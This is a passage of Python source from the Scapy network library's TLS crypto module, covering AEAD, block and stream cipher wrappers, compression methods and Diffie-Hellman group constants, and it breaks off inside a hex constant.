RFCs. """ self.ready = {"key": True, "fixed_iv": True, "nonce_explicit": True} if key is None: self.ready["key"] = False key = b"\0" * self.key_len if fixed_iv is None: self.ready["fixed_iv"] = False fixed_iv = b"\0" * self.fixed_iv_len if nonce_explicit is None: self.ready["nonce_explicit"] = False nonce_explicit = 0 if isinstance(nonce_explicit, str): nonce_explicit = pkcs_os2ip(nonce_explicit) # we use super() in order to avoid any deadlock with __setattr__ super(_AEADCipher, self).__setattr__("key", key) super(_AEADCipher, self).__setattr__("fixed_iv", fixed_iv) super(_AEADCipher, self).__setattr__("nonce_explicit", nonce_explicit) if hasattr(self, "pc_cls"): if isinstance(self.pc_cls, AESCCM): self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(self._get_nonce()), backend=default_backend(), tag_length=self.tag_len) else: self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(self._get_nonce()), backend=default_backend()) else: self._cipher = self.cipher_cls(key) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: if hasattr(self, "pc_cls"): self._cipher.algorithm.key = val else: self._cipher._key = val self.ready["key"] = True elif name == "fixed_iv": self.ready["fixed_iv"] = True elif name == "nonce_explicit": if isinstance(val, str): val = pkcs_os2ip(val) self.ready["nonce_explicit"] = True super(_AEADCipher, self).__setattr__(name, val) def _get_nonce(self): return (self.fixed_iv + pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len)) def _update_nonce_explicit(self): """ Increment the explicit nonce while avoiding any overflow. """ ne = self.nonce_explicit + 1 self.nonce_explicit = ne % 2**(self.nonce_explicit_len * 8) def auth_encrypt(self, P, A, seq_num=None): """ Encrypt the data then prepend the explicit part of the nonce. The authentication tag is directly appended with the most recent crypto API. Additional data may be authenticated without encryption (as A). The 'seq_num' should never be used here, it is only a safeguard needed because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py actually is a _AEADCipher_TLS13 (even though others are not). """ if False in self.ready.values(): raise CipherError(P, A) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce() self._cipher.mode._tag = None encryptor = self._cipher.encryptor() encryptor.authenticate_additional_data(A) res = encryptor.update(P) + encryptor.finalize() res += encryptor.tag else: res = self._cipher.encrypt(self._get_nonce(), P, A) nonce_explicit = pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len) self._update_nonce_explicit() return nonce_explicit + res def auth_decrypt(self, A, C, seq_num=None, add_length=True): """ Decrypt the data and authenticate the associated data (i.e. A). If the verification fails, an AEADTagError is raised. It is the user's responsibility to catch it if deemed useful. If we lack the key, we raise a CipherError which contains the encrypted input. Note that we add the TLSCiphertext length to A although we're supposed to add the TLSCompressed length. Fortunately, they are the same, but the specifications actually messed up here. :'( The 'add_length' switch should always be True for TLS, but we provide it anyway (mostly for test cases, hum). The 'seq_num' should never be used here, it is only a safeguard needed because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py actually is a _AEADCipher_TLS13 (even though others are not). """ nonce_explicit_str, C, mac = (C[:self.nonce_explicit_len], C[self.nonce_explicit_len:-self.tag_len], C[-self.tag_len:]) if False in self.ready.values(): raise CipherError(nonce_explicit_str, C, mac) self.nonce_explicit = pkcs_os2ip(nonce_explicit_str) if add_length: A += struct.pack("!H", len(C)) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce() self._cipher.mode._tag = mac decryptor = self._cipher.decryptor() decryptor.authenticate_additional_data(A) P = decryptor.update(C) try: decryptor.finalize() except InvalidTag: raise AEADTagError(nonce_explicit_str, P, mac) else: try: P = self._cipher.decrypt(self._get_nonce(), C + mac, A) except InvalidTag: raise AEADTagError(nonce_explicit_str, "", mac) return nonce_explicit_str, P, mac def snapshot(self): c = self.__class__(self.key, self.fixed_iv, self.nonce_explicit) c.ready = self.ready.copy() return c if conf.crypto_valid: class Cipher_AES_128_GCM(_AEADCipher): # XXX use the new AESGCM if available # if conf.crypto_valid_advanced: # cipher_cls = AESGCM # else: pc_cls = algorithms.AES pc_cls_mode = modes.GCM key_len = 16 tag_len = 16 class Cipher_AES_256_GCM(Cipher_AES_128_GCM): key_len = 32 if conf.crypto_valid_advanced: class Cipher_AES_128_CCM(_AEADCipher): cipher_cls = AESCCM key_len = 16 tag_len = 16 class Cipher_AES_256_CCM(Cipher_AES_128_CCM): key_len = 32 class Cipher_AES_128_CCM_8(Cipher_AES_128_CCM): tag_len = 8 class Cipher_AES_256_CCM_8(Cipher_AES_128_CCM_8): key_len = 32 class _AEADCipher_TLS13(metaclass=_AEADCipherMetaclass): """ The hasattr(self, "pc_cls") enable support for the legacy implementation of GCM in the cryptography library. They should not be used, and might eventually be removed, with cryptography v2.0. XXX """ type = "aead" def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): """ 'key' and 'fixed_iv' are to be provided as strings. This IV never changes: it is either the client_write_IV or server_write_IV. Note that 'nonce_explicit' is never used. It is only a safeguard for a call in session.py to the TLS 1.2/ChaCha20Poly1305 case (see RFC 7905). """ self.ready = {"key": True, "fixed_iv": True} if key is None: self.ready["key"] = False key = b"\0" * self.key_len if fixed_iv is None: self.ready["fixed_iv"] = False fixed_iv = b"\0" * self.fixed_iv_len # we use super() in order to avoid any deadlock with __setattr__ super(_AEADCipher_TLS13, self).__setattr__("key", key) super(_AEADCipher_TLS13, self).__setattr__("fixed_iv", fixed_iv) if hasattr(self, "pc_cls"): if isinstance(self.pc_cls, AESCCM): self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(fixed_iv), backend=default_backend(), tag_length=self.tag_len) else: self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(fixed_iv), backend=default_backend()) else: if self.cipher_cls == ChaCha20Poly1305: # ChaCha20Poly1305 doesn't have a tag_length argument... self._cipher = self.cipher_cls(key) else: self._cipher = self.cipher_cls(key, tag_length=self.tag_len) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: if hasattr(self, "pc_cls"): self._cipher.algorithm.key = val else: self._cipher._key = val self.ready["key"] = True elif name == "fixed_iv": self.ready["fixed_iv"] = True super(_AEADCipher_TLS13, self).__setattr__(name, val) def _get_nonce(self, seq_num): padlen = self.fixed_iv_len - len(seq_num) padded_seq_num = b"\x00" * padlen + seq_num return strxor(padded_seq_num, self.fixed_iv) def auth_encrypt(self, P, A, seq_num): """ Encrypt the data, and append the computed authentication code. The additional data for TLS 1.3 is the record header. Note that the cipher's authentication tag must be None when encrypting. """ if False in self.ready.values(): raise CipherError(P, A) if hasattr(self, "pc_cls"): self._cipher.mode._tag = None self._cipher.mode._initialization_vector = self._get_nonce(seq_num) encryptor = self._cipher.encryptor() encryptor.authenticate_additional_data(A) res = encryptor.update(P) + encryptor.finalize() res += encryptor.tag else: if (conf.crypto_valid_advanced and isinstance(self._cipher, AESCCM)): res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) else: res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) return res def auth_decrypt(self, A, C, seq_num): """ Decrypt the data and verify the authentication code (in this order). If the verification fails, an AEADTagError is raised. It is the user's responsibility to catch it if deemed useful. If we lack the key, we raise a CipherError which contains the encrypted input. """ C, mac = C[:-self.tag_len], C[-self.tag_len:] if False in self.ready.values(): raise CipherError(C, mac) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce(seq_num) self._cipher.mode._tag = mac decryptor = self._cipher.decryptor() decryptor.authenticate_additional_data(A) P = decryptor.update(C) try: decryptor.finalize() except InvalidTag: raise AEADTagError(P, mac) else: try: if (conf.crypto_valid_advanced and isinstance(self._cipher, AESCCM)): P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 else: if (conf.crypto_valid_advanced and isinstance(self, Cipher_CHACHA20_POLY1305)): A += struct.pack("!H", len(C)) P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 except InvalidTag: raise AEADTagError("", mac) return P, mac def snapshot(self): c = self.__class__(self.key, self.fixed_iv) c.ready = self.ready.copy() return c if conf.crypto_valid_advanced: class Cipher_CHACHA20_POLY1305_TLS13(_AEADCipher_TLS13): cipher_cls = ChaCha20Poly1305 key_len = 32 tag_len = 16 fixed_iv_len = 12 nonce_explicit_len = 0 class Cipher_CHACHA20_POLY1305(Cipher_CHACHA20_POLY1305_TLS13): """ This TLS 1.2 cipher actually uses TLS 1.3 logic, as per RFC 7905. Changes occur at the record layer (in record.py). """ pass if conf.crypto_valid: class Cipher_AES_128_GCM_TLS13(_AEADCipher_TLS13): # XXX use the new AESGCM if available # if conf.crypto_valid_advanced: # cipher_cls = AESGCM # else: pc_cls = algorithms.AES pc_cls_mode = modes.GCM key_len = 16 fixed_iv_len = 12 tag_len = 16 class Cipher_AES_256_GCM_TLS13(Cipher_AES_128_GCM_TLS13): key_len = 32 if conf.crypto_valid_advanced: class Cipher_AES_128_CCM_TLS13(_AEADCipher_TLS13): cipher_cls = AESCCM key_len = 16 tag_len = 16 fixed_iv_len = 12 class Cipher_AES_128_CCM_8_TLS13(Cipher_AES_128_CCM_TLS13): tag_len = 8 ================================================ FILE: scapy/layers/tls/crypto/cipher_block.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Block ciphers. """ import warnings from scapy.config import conf from scapy.layers.tls.crypto.common import CipherError if conf.crypto_valid: from cryptography.utils import ( CryptographyDeprecationWarning, ) from cryptography.hazmat.primitives.ciphers import ( BlockCipherAlgorithm, Cipher, CipherAlgorithm, algorithms, modes, ) from cryptography.hazmat.backends.openssl.backend import backend try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms # cryptography's TripleDES can be used to simulate DES behavior DES = lambda key: decrepit_algorithms.TripleDES(key * 3) try: # cryptography > 47.0 Camellia = decrepit_algorithms.Camellia except AttributeError: Camellia = algorithms.Camellia _tls_block_cipher_algs = {} class _BlockCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if ciph_name != "_BlockCipher": dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_BlockCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if ciph_name != "_BlockCipher": _tls_block_cipher_algs[ciph_name[7:]] = the_class return the_class class _BlockCipher(metaclass=_BlockCipherMetaclass): type = "block" def __init__(self, key=None, iv=None): self.ready = {"key": True, "iv": True} if key is None: self.ready["key"] = False if hasattr(self, "expanded_key_len"): key_len = self.expanded_key_len else: key_len = self.key_len key = b"\0" * key_len # we use super() in order to avoid any deadlock with __setattr__ super(_BlockCipher, self).__setattr__("key", key) if self.pc_cls_mode == modes.ECB: self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(), backend=backend) else: if not iv: self.ready["iv"] = False iv = b"\0" * self.block_size super(_BlockCipher, self).__setattr__("iv", iv) self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(iv), backend=backend) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: self._cipher.algorithm.key = val self.ready["key"] = True elif name == "iv": if self._cipher is not None: self._cipher.mode._initialization_vector = val self.ready["iv"] = True super(_BlockCipher, self).__setattr__(name, val) def encrypt(self, data): """ Encrypt the data. Also, update the cipher iv. This is needed for SSLv3 and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.post_build(). """ if False in self.ready.values(): raise CipherError(data) encryptor = self._cipher.encryptor() tmp = encryptor.update(data) + encryptor.finalize() self.iv = tmp[-self.block_size:] return tmp def decrypt(self, data): """ Decrypt the data. Also, update the cipher iv. This is needed for SSLv3 and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.pre_dissect(). If we lack the key, we raise a CipherError which contains the input. """ if False in self.ready.values(): raise CipherError(data) decryptor = self._cipher.decryptor() tmp = decryptor.update(data) + decryptor.finalize() self.iv = data[-self.block_size:] return tmp def snapshot(self): c = self.__class__(self.key, self.iv) c.ready = self.ready.copy() return c if conf.crypto_valid: class Cipher_AES_128_CBC(_BlockCipher): pc_cls = algorithms.AES pc_cls_mode = modes.CBC block_size = 16 key_len = 16 class Cipher_AES_256_CBC(Cipher_AES_128_CBC): key_len = 32 class Cipher_CAMELLIA_128_CBC(_BlockCipher): pc_cls = Camellia pc_cls_mode = modes.CBC block_size = 16 key_len = 16 class Cipher_CAMELLIA_256_CBC(Cipher_CAMELLIA_128_CBC): key_len = 32 # Mostly deprecated ciphers _sslv2_block_cipher_algs = {} if conf.crypto_valid: class Cipher_DES_ECB(_BlockCipher): pc_cls = staticmethod(DES) pc_cls_mode = modes.ECB block_size = 8 key_len = 8 class Cipher_DES_CBC(_BlockCipher): pc_cls = staticmethod(DES) pc_cls_mode = modes.CBC block_size = 8 key_len = 8 class Cipher_DES40_CBC(Cipher_DES_CBC): """ This is an export cipher example. The key length has been weakened to 5 random bytes (i.e. 5 bytes will be extracted from the master_secret). Yet, we still need to know the original length which will actually be fed into the encryption algorithm. This is what expanded_key_len is for, and it gets used in PRF.postprocess_key_for_export(). We never define this attribute with non-export ciphers. """ expanded_key_len = 8 key_len = 5 class Cipher_3DES_EDE_CBC(_BlockCipher): pc_cls = decrepit_algorithms.TripleDES pc_cls_mode = modes.CBC block_size = 8 key_len = 24 _sslv2_block_cipher_algs["DES_192_EDE3_CBC"] = Cipher_3DES_EDE_CBC try: with warnings.catch_warnings(): # Hide deprecation warnings warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) class Cipher_IDEA_CBC(_BlockCipher): pc_cls = decrepit_algorithms.IDEA pc_cls_mode = modes.CBC block_size = 8 key_len = 16 class Cipher_SEED_CBC(_BlockCipher): pc_cls = decrepit_algorithms.SEED pc_cls_mode = modes.CBC block_size = 16 key_len = 16 _sslv2_block_cipher_algs.update({ "IDEA_128_CBC": Cipher_IDEA_CBC, "DES_64_CBC": Cipher_DES_CBC, }) except AttributeError: pass # We need some black magic for RC2, which is not registered by default # to the openssl backend of the cryptography library. # If the current version of openssl does not support rc2, the RC2 ciphers are # silently not declared, and the corresponding suites will have 'usable' False. if conf.crypto_valid: try: from cryptography.hazmat.decrepit.ciphers.algorithms import RC2 rc2_available = backend.cipher_supported( RC2(b"0" * 16), modes.CBC(b"0" * 8) ) except ImportError: # Legacy path for cryptography < 43.0.0 from cryptography.hazmat.backends.openssl.backend import ( GetCipherByName ) _gcbn_format = "{cipher.name}-{mode.name}" class RC2(BlockCipherAlgorithm, CipherAlgorithm): name = "RC2" block_size = 64 key_sizes = frozenset([128]) def __init__(self, key): self.key = algorithms._verify_key_size(self, key) @property def key_size(self): return len(self.key) * 8 if GetCipherByName(_gcbn_format)(backend, RC2, modes.CBC) != \ backend._ffi.NULL: rc2_available = True backend.register_cipher_adapter(RC2, modes.CBC, GetCipherByName(_gcbn_format)) else: rc2_available = False if rc2_available: class Cipher_RC2_CBC(_BlockCipher): pc_cls = RC2 pc_cls_mode = modes.CBC block_size = 8 key_len = 16 class Cipher_RC2_CBC_40(Cipher_RC2_CBC): expanded_key_len = 16 key_len = 5 _sslv2_block_cipher_algs["RC2_128_CBC"] = Cipher_RC2_CBC _tls_block_cipher_algs.update(_sslv2_block_cipher_algs) ================================================ FILE: scapy/layers/tls/crypto/cipher_stream.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Stream ciphers. """ from scapy.config import conf from scapy.layers.tls.crypto.common import CipherError if conf.crypto_valid: from cryptography.hazmat.primitives.ciphers import Cipher, algorithms from cryptography.hazmat.backends import default_backend try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms _tls_stream_cipher_algs = {} class _StreamCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if ciph_name != "_StreamCipher": dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_StreamCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if ciph_name != "_StreamCipher": _tls_stream_cipher_algs[ciph_name[7:]] = the_class return the_class class _StreamCipher(metaclass=_StreamCipherMetaclass): type = "stream" def __init__(self, key=None): """ Note that we have to keep the encryption/decryption state in unique encryptor and decryptor objects. This differs from _BlockCipher. In order to do connection state snapshots, we need to be able to recreate past cipher contexts. This is why we feed _enc_updated_with and _dec_updated_with every time encrypt() or decrypt() is called. """ self.ready = {"key": True} if key is None: self.ready["key"] = False if hasattr(self, "expanded_key_len"): tmp_len = self.expanded_key_len else: tmp_len = self.key_len key = b"\0" * tmp_len # we use super() in order to avoid any deadlock with __setattr__ super(_StreamCipher, self).__setattr__("key", key) self._cipher = Cipher(self.pc_cls(key), mode=None, backend=default_backend()) self.encryptor = self._cipher.encryptor() self.decryptor = self._cipher.decryptor() self._enc_updated_with = b"" self._dec_updated_with = b"" def __setattr__(self, name, val): """ We have to keep the encryptor/decryptor for a long time, however they have to be updated every time the key is changed. """ if name == "key": if self._cipher is not None: self._cipher.algorithm.key = val self.encryptor = self._cipher.encryptor() self.decryptor = self._cipher.decryptor() self.ready["key"] = True super(_StreamCipher, self).__setattr__(name, val) def encrypt(self, data): if False in self.ready.values(): raise CipherError(data) self._enc_updated_with += data return self.encryptor.update(data) def decrypt(self, data): if False in self.ready.values(): raise CipherError(data) self._dec_updated_with += data return self.decryptor.update(data) def snapshot(self): c = self.__class__(self.key) c.ready = self.ready.copy() c.encryptor.update(self._enc_updated_with) c.decryptor.update(self._dec_updated_with) c._enc_updated_with = self._enc_updated_with c._dec_updated_with = self._dec_updated_with return c if conf.crypto_valid: class Cipher_RC4_128(_StreamCipher): pc_cls = decrepit_algorithms.ARC4 key_len = 16 class Cipher_RC4_40(Cipher_RC4_128): expanded_key_len = 16 key_len = 5 class Cipher_NULL(_StreamCipher): key_len = 0 def __init__(self, key=None): self.ready = {"key": True} self._cipher = None # we use super() in order to avoid any deadlock with __setattr__ super(Cipher_NULL, self).__setattr__("key", key) def snapshot(self): c = self.__class__(self.key) c.ready = self.ready.copy() return c def encrypt(self, data): return data def decrypt(self, data): return data ================================================ FILE: scapy/layers/tls/crypto/ciphers.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury """ TLS ciphers. """ # in order to avoid circular dependencies. from scapy.layers.tls.crypto.cipher_aead import _tls_aead_cipher_algs from scapy.layers.tls.crypto.cipher_block import _tls_block_cipher_algs from scapy.layers.tls.crypto.cipher_stream import _tls_stream_cipher_algs _tls_cipher_algs = {} _tls_cipher_algs.update(_tls_block_cipher_algs) _tls_cipher_algs.update(_tls_stream_cipher_algs) _tls_cipher_algs.update(_tls_aead_cipher_algs) ================================================ FILE: scapy/layers/tls/crypto/common.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ TLS ciphers. """ class CipherError(Exception): """ Raised when .decrypt() or .auth_decrypt() fails. """ pass ================================================ FILE: scapy/layers/tls/crypto/compression.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury """ TLS compression. """ import zlib from scapy.error import warning _tls_compression_algs = {} _tls_compression_algs_cls = {} class _GenericCompMetaclass(type): """ Compression classes are automatically registered through this metaclass. """ def __new__(cls, name, bases, dct): the_class = super(_GenericCompMetaclass, cls).__new__(cls, name, bases, dct) comp_name = dct.get("name") val = dct.get("val") if comp_name: _tls_compression_algs[val] = comp_name _tls_compression_algs_cls[val] = the_class return the_class class _GenericComp(metaclass=_GenericCompMetaclass): pass class Comp_NULL(_GenericComp): """ The default and advised compression method for TLS: doing nothing. """ name = "null" val = 0 def compress(self, s): return s def decompress(self, s): return s class Comp_Deflate(_GenericComp): """ DEFLATE algorithm, specified for TLS by RFC 3749. """ name = "deflate" val = 1 def compress(self, s): tmp = self.compress_state.compress(s) tmp += self.compress_state.flush(zlib.Z_FULL_FLUSH) return tmp def decompress(self, s): return self.decompress_state.decompress(s) def __init__(self): self.compress_state = zlib.compressobj() self.decompress_state = zlib.decompressobj() class Comp_LZS(_GenericComp): """ Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943. XXX No support for now. """ name = "LZS" val = 64 def compress(self, s): warning("LZS Compression algorithm is not implemented yet") return s def decompress(self, s): warning("LZS Compression algorithm is not implemented yet") return s ================================================ FILE: scapy/layers/tls/crypto/groups.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ This is a register for DH groups from RFC 3526 and RFC 4306. At this time the groups from RFC 7919 have not been registered by openssl, thus they cannot be imported from the cryptography library. We also provide TLS identifiers for these DH groups and also the ECDH groups. (Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.) """ from scapy.config import conf from scapy.compat import bytes_int, int_bytes from scapy.error import warning from scapy.utils import long_converter if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import dh, ec from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric.dh import DHParameterNumbers if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.asymmetric import x25519 from cryptography.hazmat.primitives.asymmetric import x448 _ffdh_groups = {} class _FFDHParamsMetaclass(type): def __new__(cls, ffdh_name, bases, dct): the_class = super(_FFDHParamsMetaclass, cls).__new__(cls, ffdh_name, bases, dct) if conf.crypto_valid and ffdh_name != "_FFDHParams": pn = DHParameterNumbers(the_class.m, the_class.g) params = pn.parameters(default_backend()) _ffdh_groups[ffdh_name] = [params, the_class.mLen] return the_class class _FFDHParams(metaclass=_FFDHParamsMetaclass): pass class modp768(_FFDHParams): g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A63A3620 FFFFFFFF FFFFFFFF""") mLen = 768 class modp1024(_FFDHParams): # From RFC 4306 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE65381 FFFFFFFF FFFFFFFF""") mLen = 1024 class modp1536(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF""") mLen = 1536 class modp2048(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AACAA68 FFFFFFFF FFFFFFFF""") mLen = 2048 class modp3072(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF""") mLen = 3072 class modp4096(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199 FFFFFFFF FFFFFFFF""") mLen = 4096 class modp6144(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918 